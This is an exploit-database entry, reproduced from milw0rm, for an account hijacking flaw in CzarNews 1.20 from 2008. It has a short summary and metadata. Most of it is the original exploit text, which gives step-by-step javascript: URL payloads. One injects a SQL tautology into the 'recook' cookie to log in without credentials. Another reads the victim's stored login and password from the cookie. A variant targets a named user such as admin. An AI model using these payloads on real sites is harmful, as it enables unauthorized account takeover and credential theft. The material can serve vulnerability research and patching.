header-logo
Suggest Exploit
vendor:
CzarNews
by:
Maycon Maia Vitali (0ut0fBound)
7.5
CVSS
HIGH
Account Hijacking
287
CWE
Product Name: CzarNews
Affected Version From: 1.2
Affected Version To: 1.2
Patch Exists: YES
Related CWE: N/A
CPE: a:czarnews:czarnews:1.20
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

czarNews Account Hijacking <= 1.20 user and password Leak

An attacker can exploit a vulnerability in CzarNews 1.20 to gain access to a user's account. The attacker can use the URL: javascript:document.cookie="recook=' or ''=',' or ''='";void(0); to log in to the account. The attacker can also use the URL: javascript:c=document.cookie;p=c.substr(c.lastIndexOf('=')+1).split(/%../);alert("Login: " + p[0] + "nPass: " + p[1]);void(0); to get the user's login and password. If the attacker knows the username of the user, they can use the URL: javascript:document.cookie="recook=[USER],'+or+''='";void(0); to log in to the account.

Mitigation:

Users should ensure that they are using the latest version of CzarNews and that they have a strong password.
Source

Exploit-DB raw data:

czarNews Account Hijacking <= 1.20 user and password Leak
----------------------------------------------------------

 Author: Maycon Maia Vitali ( 0ut0fBound )
Contact: mayconmaia at yahoo dot com dot br
         http://maycon.gsec.com.br

Original Xploit by StAkeR ( http://www.milw0rm.com/exploits/6462 )


Gerenal Xploit:
---------------

1) Go to some page with CzarNews 1.20. You are in the 'Login Page'
2) Put in the URL: javascript:document.cookie="recook=' or ''=',' or
''='";void(0);
3) Refresh the page. Now you are logged in.
4) Put in the URL:
javascript:c=document.cookie;p=c.substr(c.lastIndexOf('=')+1).split(/%../);a
lert("Login: " + p[0] + "\nPass: " + p[1]);void(0);
5) With this you getted the current user and password

Attacking Especific User:
-------------------------

If you have some user that you need Xploit, You can change the step 2 by
this:

2) Put in the URL:
javascript:document.cookie="recook=[USER],'+or+''='";void(0);

Where [USER] need to be replaced with user name (e.g. admin)


enjoy,
0ut0fBound

# milw0rm.com [2008-09-15]